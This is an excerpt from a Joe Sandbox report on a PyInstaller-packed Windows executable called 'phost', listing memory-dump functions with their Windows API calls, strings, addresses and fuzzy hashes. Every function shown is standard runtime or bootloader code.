SetLastError.KERNEL32 ref: 00007FF62CC8B26F

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 95e941e89c228e9c604249a81e4247bf93b8921c3316e711f137cef7aac77c3c
Instruction ID: 1d315683a2c392e995dd6d41bc2069bde32595b1700e460346a4bee434b6e2be
Opcode Fuzzy Hash: 95e941e89c228e9c604249a81e4247bf93b8921c3316e711f137cef7aac77c3c
Instruction Fuzzy Hash: 7E214C30F0C65645FE6A67695E6593F51725F847F0F044738D93EC6AD6DE2CA4428303

Function 00007FF62CC97DDC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF62CC97E0D
GetLastError.KERNEL32 ref: 00007FF62CC97E19
CloseHandle.KERNEL32 ref: 00007FF62CC97E31
CreateFileW.KERNEL32 ref: 00007FF62CC97E5C
WriteConsoleW.KERNEL32 ref: 00007FF62CC97E7B

Strings

CONOUT$, xrefs: 00007FF62CC97E3D

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 5493e4d9a44aaf731d1a805f3958d18bb0ed212be4b6a830fa2bcaabe5bc997c
Instruction ID: 1b20762d8290de707d8bfdaacb36347c4d0dda70141b01bee13fbbf1d4457005
Opcode Fuzzy Hash: 5493e4d9a44aaf731d1a805f3958d18bb0ed212be4b6a830fa2bcaabe5bc997c
Instruction Fuzzy Hash: 4B117231B18A4186EB608B5AAC6433972B0FB88BF8F004234D95DC7794DF7CD8148742

Function 00007FF62CC78560 Relevance: 9.1, APIs: 6, Instructions: 127COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00000000,00007FF62CC79216), ref: 00007FF62CC78592
K32EnumProcessModules.KERNEL32(?,?,00000000,00007FF62CC79216), ref: 00007FF62CC785E9

Part of subcall function 00007FF62CC79400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF62CC745E4,00000000,00007FF62CC71985), ref: 00007FF62CC79439

K32GetModuleFileNameExW.KERNEL32(?,?,00000000,00007FF62CC79216), ref: 00007FF62CC78678
K32GetModuleFileNameExW.KERNEL32(?,?,00000000,00007FF62CC79216), ref: 00007FF62CC786E4
FreeLibrary.KERNEL32(?,?,00000000,00007FF62CC79216), ref: 00007FF62CC786F5
FreeLibrary.KERNEL32(?,?,00000000,00007FF62CC79216), ref: 00007FF62CC7870A

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
String ID:
API String ID: 3462794448-0
Opcode ID: b52d66e3f6483ee012b3a88bb9869cc1030523c4b2827b1d8d4a1b21ae680e9c
Instruction ID: 14c4aed2e1edbb137f0b8f72aa0ff2fcdbd1536768575b5cb22cfd846b2f31ee
Opcode Fuzzy Hash: b52d66e3f6483ee012b3a88bb9869cc1030523c4b2827b1d8d4a1b21ae680e9c
Instruction Fuzzy Hash: F2419322B1868241EE709B19A9406BA63B8FF84BE4F440135EF4DEBB89DE3CD445D702

Function 00007FF62CC8B338 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF62CC84F81,?,?,?,?,00007FF62CC8A4FA,?,?,?,?,00007FF62CC871FF), ref: 00007FF62CC8B347
FlsSetValue.KERNEL32(?,?,?,00007FF62CC84F81,?,?,?,?,00007FF62CC8A4FA,?,?,?,?,00007FF62CC871FF), ref: 00007FF62CC8B37D
FlsSetValue.KERNEL32(?,?,?,00007FF62CC84F81,?,?,?,?,00007FF62CC8A4FA,?,?,?,?,00007FF62CC871FF), ref: 00007FF62CC8B3AA
FlsSetValue.KERNEL32(?,?,?,00007FF62CC84F81,?,?,?,?,00007FF62CC8A4FA,?,?,?,?,00007FF62CC871FF), ref: 00007FF62CC8B3BB
FlsSetValue.KERNEL32(?,?,?,00007FF62CC84F81,?,?,?,?,00007FF62CC8A4FA,?,?,?,?,00007FF62CC871FF), ref: 00007FF62CC8B3CC
SetLastError.KERNEL32(?,?,?,00007FF62CC84F81,?,?,?,?,00007FF62CC8A4FA,?,?,?,?,00007FF62CC871FF), ref: 00007FF62CC8B3E7

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 6d8f3e74ebbb6b3e9df47af100808aa7e96d944c008937dd2b032c21f4d9a902
Instruction ID: fe188e48bb0b2414946d9aedb3bc120f4bc6d9f62631fcf83e1756dacab17898
Opcode Fuzzy Hash: 6d8f3e74ebbb6b3e9df47af100808aa7e96d944c008937dd2b032c21f4d9a902
Instruction Fuzzy Hash: B5115C30B0C69286FE5667295EA593E61725F847F0F048734EA7EC67D6DE2CA4028303

Function 00007FF62CC72910 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 86COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF62CC71B6A), ref: 00007FF62CC7295E

Strings

%s: %s, xrefs: 00007FF62CC729E8
Error, xrefs: 00007FF62CC72A0E
Error [ANSI Fallback], xrefs: 00007FF62CC729FF
[PYI-%d:ERROR] , xrefs: 00007FF62CC72966

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: CurrentProcess
String ID: %s: %s$Error$Error [ANSI Fallback]$[PYI-%d:ERROR]
API String ID: 2050909247-2962405886
Opcode ID: 9e805cce3db004805378da731f60641a61a9f8723a57293993104ba7ce00817f
Instruction ID: bb1576f88803f31ef1732537805a7460079237122d8620a9963275537cd811d5
Opcode Fuzzy Hash: 9e805cce3db004805378da731f60641a61a9f8723a57293993104ba7ce00817f
Instruction Fuzzy Hash: AC31F633B18A8152EB209769AC506F762A5FF887E8F404132EE8DD7759EF3CD54A8301

Function 00007FF62CC72390 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF62CC723C8
DialogBoxIndirectParamW.USER32 ref: 00007FF62CC7248E
DeleteObject.GDI32 ref: 00007FF62CC724C1
DestroyIcon.USER32 ref: 00007FF62CC724D3

Strings

Unhandled exception in script, xrefs: 00007FF62CC723F8

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 39c06ba8bf9b0b274a05e8f7e17acb9149a8f0f807fdaf6a00a55f32f6777a83
Instruction ID: 026af94ca820d1846e4d2910c61c247d5467c3c1d64e7b7c7aec636879526f17
Opcode Fuzzy Hash: 39c06ba8bf9b0b274a05e8f7e17acb9149a8f0f807fdaf6a00a55f32f6777a83
Instruction Fuzzy Hash: 4C315F72708A8289EF20DF29EC556FA6360FF88798F444135EA4D8BB49DF3CD1458702

Function 00007FF62CC72B50 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,FFFFFFFF,00000000,00007FF62CC7918F,?,00007FF62CC73C55), ref: 00007FF62CC72BA0
MessageBoxW.USER32 ref: 00007FF62CC72C2A

Strings

WARNING, xrefs: 00007FF62CC72BAF
Warning, xrefs: 00007FF62CC72C1D
[PYI-%d:%ls] , xrefs: 00007FF62CC72BA8

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: CurrentMessageProcess
String ID: WARNING$Warning$[PYI-%d:%ls]
API String ID: 1672936522-3797743490
Opcode ID: 9e6d9589c2ecbe46adae8e106eadd318faf54c8367477cb0129d25f7ec3a12f1
Instruction ID: 8e3ad889dfa7d18dc07bcfbf825d2b5b5390444d5c318433017314033fd26951
Opcode Fuzzy Hash: 9e6d9589c2ecbe46adae8e106eadd318faf54c8367477cb0129d25f7ec3a12f1
Instruction Fuzzy Hash: 4F21AE73B08B4192EB219B19F8947AA63A8FB887D4F404136EE8D97759DE3CD209C741

Function 00007FF62CC72710 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,?,00000000,00007FF62CC71B99), ref: 00007FF62CC72760

Strings

ERROR, xrefs: 00007FF62CC7276F
Error, xrefs: 00007FF62CC727DE
Error [ANSI Fallback], xrefs: 00007FF62CC727CF
[PYI-%d:%s] , xrefs: 00007FF62CC72768

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: CurrentProcess
String ID: ERROR$Error$Error [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-1591803126
Opcode ID: 16defea7d45dc340f891dcb1518e5bd63c50e449678e4b46de0281de23a8290b
Instruction ID: 1457340799cb50ff6dbfa9567e56d04423e5b2a8f7efdac5b2c88c96a9133c2a
Opcode Fuzzy Hash: 16defea7d45dc340f891dcb1518e5bd63c50e449678e4b46de0281de23a8290b
Instruction Fuzzy Hash: 2A219F32B18B8192EA20DB59FC517E663A4FB883E4F404132EE8C97659DF3CD2498741

Function 00007FF62CC89AF8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF62CC89B1D
GetProcAddress.KERNEL32 ref: 00007FF62CC89B33
FreeLibrary.KERNEL32 ref: 00007FF62CC89B5A

Strings

mscoree.dll, xrefs: 00007FF62CC89B14
CorExitProcess, xrefs: 00007FF62CC89B2C

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 644f40749f2397ccfee8900b191f86882f652c7814ccefc594fcc00cef1e1075
Instruction ID: 5054d2157f2c649cbe9c89ca6660fe5e3700ffc0b555789b5d6817999129cd0e
Opcode Fuzzy Hash: 644f40749f2397ccfee8900b191f86882f652c7814ccefc594fcc00cef1e1075
Instruction Fuzzy Hash: 18F0AF71B19A0691EE248B28AC5973A5330AF84BB5F544235C66E865E8CF2CD444C302

Function 00007FF62CC993D8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF62CC99400
_set_statfp.LIBCMT ref: 00007FF62CC9941B
_set_statfp.LIBCMT ref: 00007FF62CC99437
_set_statfp.LIBCMT ref: 00007FF62CC99473

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction ID: 35bef5cac66bbe2d7837c487f99ec243b5bf026781aae2c75bad09910fb4e982
Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction Fuzzy Hash: C6114F62F5CA5301FF6E132CDC5637921646F5937CE08C634EA6E86AD6CE2DA981C107

Function 00007FF62CC8B400 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF62CC8A613,?,?,00000000,00007FF62CC8A8AE,?,?,?,?,?,00007FF62CC8A83A), ref: 00007FF62CC8B41F
FlsSetValue.KERNEL32(?,?,?,00007FF62CC8A613,?,?,00000000,00007FF62CC8A8AE,?,?,?,?,?,00007FF62CC8A83A), ref: 00007FF62CC8B43E
FlsSetValue.KERNEL32(?,?,?,00007FF62CC8A613,?,?,00000000,00007FF62CC8A8AE,?,?,?,?,?,00007FF62CC8A83A), ref: 00007FF62CC8B466
FlsSetValue.KERNEL32(?,?,?,00007FF62CC8A613,?,?,00000000,00007FF62CC8A8AE,?,?,?,?,?,00007FF62CC8A83A), ref: 00007FF62CC8B477
FlsSetValue.KERNEL32(?,?,?,00007FF62CC8A613,?,?,00000000,00007FF62CC8A8AE,?,?,?,?,?,00007FF62CC8A83A), ref: 00007FF62CC8B488

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 3cf0457813ef902b4d16e29671bd05b92734aec0d3ae5f0b4a86182189680110
Instruction ID: 82df2c030098c37c043c8bbc3591864a56ad55fd8824b363682cde47c25f1502
Opcode Fuzzy Hash: 3cf0457813ef902b4d16e29671bd05b92734aec0d3ae5f0b4a86182189680110
Instruction Fuzzy Hash: 20113A70F0C64245FE5AA72D5EA297B61625F847F0F488734E97EC6AD6DE2CA4028203

Function 00007FF62CC8B294 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF62CC8B2A5
FlsSetValue.KERNEL32 ref: 00007FF62CC8B2C4
FlsSetValue.KERNEL32 ref: 00007FF62CC8B2EC
FlsSetValue.KERNEL32 ref: 00007FF62CC8B2FD
FlsSetValue.KERNEL32 ref: 00007FF62CC8B30E

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 58ce09dd5263def6ec13d4cefdd98fc26a3f0444d111e578bd11d526dfe727f7
Instruction ID: 343d06dd44724ccdd77c97af3eaf179bb13f5ef5b94b0dbef03346bb8af9327c
Opcode Fuzzy Hash: 58ce09dd5263def6ec13d4cefdd98fc26a3f0444d111e578bd11d526dfe727f7
Instruction Fuzzy Hash: 09111870F0C24785FD6A666D5C6197B11624F453F0F444738DA3ECA2D3DE2DB4524253

Function 00007FF62CC86010 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC8604C
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC86176
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC8622C

Strings

verbose, xrefs: 00007FF62CC86020

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction ID: 07b66756d860e6a00321df7a4c2dc61a50186ec795e5f134d52ede683c53e023
Opcode Fuzzy Hash: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction Fuzzy Hash: F8918132B08A4645EF66AE29D850BBF36B1AB40BE4F444335DA5AC73D6DF3CE4458302

Function 00007FF62CC8FC38 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC8FF17

Part of subcall function 00007FF62CC87AAC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC87AC9

Strings

UTF-16LEUNICODE, xrefs: 00007FF62CC8FEB5
UTF-8, xrefs: 00007FF62CC8FE96
ccs, xrefs: 00007FF62CC8FE52

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 4ea7f6e1ba59c177a711b7ec70ee344f27d005a52efb2894dd87f7f788f8515e
Instruction ID: ecdcd835cf6a9ee2b43269b9b8425ff971e6cc1a1ff5728d8ea65714d6c72f9e
Opcode Fuzzy Hash: 4ea7f6e1ba59c177a711b7ec70ee344f27d005a52efb2894dd87f7f788f8515e
Instruction Fuzzy Hash: 4A81B232F0824285FF764F2D8910A7A36B0EB11BE8F558235DA09D7299DF2FE9418313

Function 00007FF62CC7D6B8 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF62CC7D6E3
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF62CC7D77A
RtlUnwindEx.KERNEL32 ref: 00007FF62CC7D7D4

Strings

csm, xrefs: 00007FF62CC7D761

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: c7f5fdff7c0b40b6635b3f9850cf21a5be83d788788a684f503aa9329af71794
Instruction ID: 21bbfdc4fa60d17526116b583176e3885801a3bbe3f33e284f4aab1bed00e6c8
Opcode Fuzzy Hash: c7f5fdff7c0b40b6635b3f9850cf21a5be83d788788a684f503aa9329af71794
Instruction Fuzzy Hash: A451A132B196028ADF14DF19D844A3877B9FB44BA8F108131DA4E8B788EF3CE845D741

Function 00007FF62CC7EF48 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF62CC7EFA7
_CallSETranslator.LIBVCRUNTIME ref: 00007FF62CC7EFF3

Strings

MOC, xrefs: 00007FF62CC7EFBB
RCC, xrefs: 00007FF62CC7EFC3

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 1984f943fe60021c6db05f5888f7dd086acc6d0e2a461e0c712dd9be4fa02006
Instruction ID: 71abcc4a0febba02130c528a847957e0da1846a5304bbb3aa2e0e1e6892a3284
Opcode Fuzzy Hash: 1984f943fe60021c6db05f5888f7dd086acc6d0e2a461e0c712dd9be4fa02006
Instruction Fuzzy Hash: 2F619672A08BC586DB608B19E8803A9B7A4FB857E4F044225EB9C8B755DF7CD194DB01

Function 00007FF62CC7F2F8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

